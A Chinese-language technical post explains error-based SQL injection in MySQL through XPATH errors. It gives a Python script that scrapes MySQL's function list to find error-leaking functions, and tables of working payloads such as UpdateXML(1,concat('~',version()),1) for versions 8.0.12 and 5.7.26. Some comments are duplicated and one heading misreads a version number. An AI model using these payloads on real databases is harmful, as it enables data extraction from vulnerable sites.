XPATH语法错误:
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue()和updatexml()。
Extractvalue()负责在xml文档中按照xpath语法查询节点内容updatexml()则负责修改查询到的内容
报错原理:
这两个函数的第二个参数都要求是符合xpath语法的字符串,如果不满足要求就会报错,并且会把查询结果放在报错信息里。
但是对于此类报错来说,其报错函数并不止上述提供的两个,不同的数据库版本有不同的报错函数,本文提供一个自动化脚本,可以自动化的检测各个版本的Xpath报错函数,其原理非常简单,就是通过爬虫爬取mysql官方文档的函数内容,构造报错输入,进行测试,来实现自动化的报错函数检测。
#使用python对网页进行爬取,然后进行数据处理
#对目标进行观察,后发现,函数名有以下特征
#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名
#使用python对网页进行爬取,然后进行数据处理
#对目标进行观察,后发现,函数名有以下特征
#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名
#使用python对网页进行爬取,然后进行数据处理
#对目标进行观察,后发现,函数名有以下特征
#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名
import requests
import pymysql
from lxml import etree
import os
import re
import sys
target='<a class="link" .+><code class="literal">.+[[<em class="replaceable"><code>.+\n</code></em>].*]+'
url="https://dev.mysql.com/doc/refman/5.0/en/built-in-function-reference.html"
header={
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
def get_page(url,header):
target_url=url
target_header=header
response=requests.get(url=url,headers=target_header)
return response
def get_link(page_content,func_list):
result=etree.HTML(page_content.text)
element_=result.xpath('//*[@scope="row"]')
for each in element_:
data=etree.tostring(each,encoding='utf-8').decode('utf-8')
#print(data)
one=re.sub('\<.*?\>','',data)
func_list.append(one)
return element_
def connect_to_mysql():
conn = pymysql.connect(host='localhost',port=3306,user='root',passwd='root', charset = 'utf8' )
cursor = conn.cursor()
#cursor.errorhandler
return cursor
def test_sql(cursor,func_list,error_list):
#for each in linklist:
for each in func_list:
sql=[]
sql.append('select '+each[0:-2]+'concat(\'~\',version()))')
sql.append('select '+each[0:-2]+'1,concat(\'~\',version()))')
sql.append('select '+each[0:-2]+'concat(\'~\',version()),1)')
sql.append('select '+each[0:-2]+'concat(\'~\',version()),1,1)')
sql.append('select '+each[0:-2]+'1,1,concat(\'~\',version()),1,1)')
sql.append('select '+each[0:-2]+'1,concat(\'~\',version()),1)')
for each in sql:
#print(each)
try :
cursor.execute(each)
except:
info=sys.exc_info()
print( info[0], ":", info[1])
if '5.0' in str(info[1]):
error_list.append(each+str(info[1]))
if __name__=="__main__":
func_list=[]
error_list=[]
cursor=connect_to_mysql()
page_content=get_page(url,header)
link=get_link(page_content,func_list)
params=["version()","version(),1","1,version()","version(),1,1","1,version(),1","1,1,version()"]
#print(func_list)
test_sql(cursor,func_list,error_list)
print(error_list)
以下就是对某几个sql版本进行检测所得到的结果
8.0.12
报错函数 | 报错语句 | 报错内容 |
BIN_TO_UUID | select BIN_TO_UUID(concat(\'~\',version())) | Incorrect string value: \'~8.0.12\' for function bin_to_uuid |
ExtractValue | select ExtractValue(1,concat(\'~\',version())) | "XPATH syntax error: \'~8.0.12\'" |
GTID_SUBSET | select GTID_SUBSET(concat(\'~\',version()),1) | "Malformed GTID set specification \'~8.0.12\'.") |
GTID_SUBTRACT | select GTID_SUBTRACT(concat(\'~\',version()),1) | Malformed GTID set specification \'~8.0.12\'." |
ST_LatFromGeoHash | select ST_LatFromGeoHash(concat(\'~\',version())) | "Incorrect geohash value: \'~8.0.12\' |
ST_LongFromGeoHash | select ST_LongFromGeoHash(concat(\'~\',version())) | Incorrect geohash value: \'~8.0.12\' for function ST_LONGFROMGEOHASH" |
UpdateXML | select UpdateXML(1,concat(\'~\',version()),1) | "XPATH syntax error: \'~8.0.12\'" |
UUID_TO_BIN | select UUID_TO_BIN(concat(\'~\',version()) | "Incorrect string value: \'~8.0.12\' for function uuid_to_bin" |
15.7.26
报错函数 | 报错语句 | 报错内容 |
ExtractValue | select ExtractValue(1,concat(\'~\',version())) | XPATH syntax error: \'~5.7.26\'" |
GTID_SUBSET | select GTID_SUBSET(concat(\'~\',version()),1) | Malformed GTID set specification \'~5.7.26\'." |
GTID_SUBTRACT | select GTID_SUBTRACT(concat(\'~\',version()),1) | "Malformed GTID set specification \'~5.7.26\'.")' |
ST_LatFromGeoHash | select ST_LatFromGeoHash(concat(\'~\',version())) | "Incorrect geohash value: \'~5.7.26\' |
ST_LongFromGeoHash | select ST_LongFromGeoHash(concat(\'~\',version())) | "Incorrect geohash value: \'~5.7.26\' for function ST_LONGFROMGEOHASH |
ST_PointFromGeoHash | select ST_PointFromGeoHash(concat(\'~\',version()),1) | "Incorrect geohash value: \'~5.7.26\' for function st_pointfromgeohash") |
UpdateXML | select UpdateXML(1,concat(\'~\',version()),1) | "XPATH syntax error: \'~5.7.26\'")'] |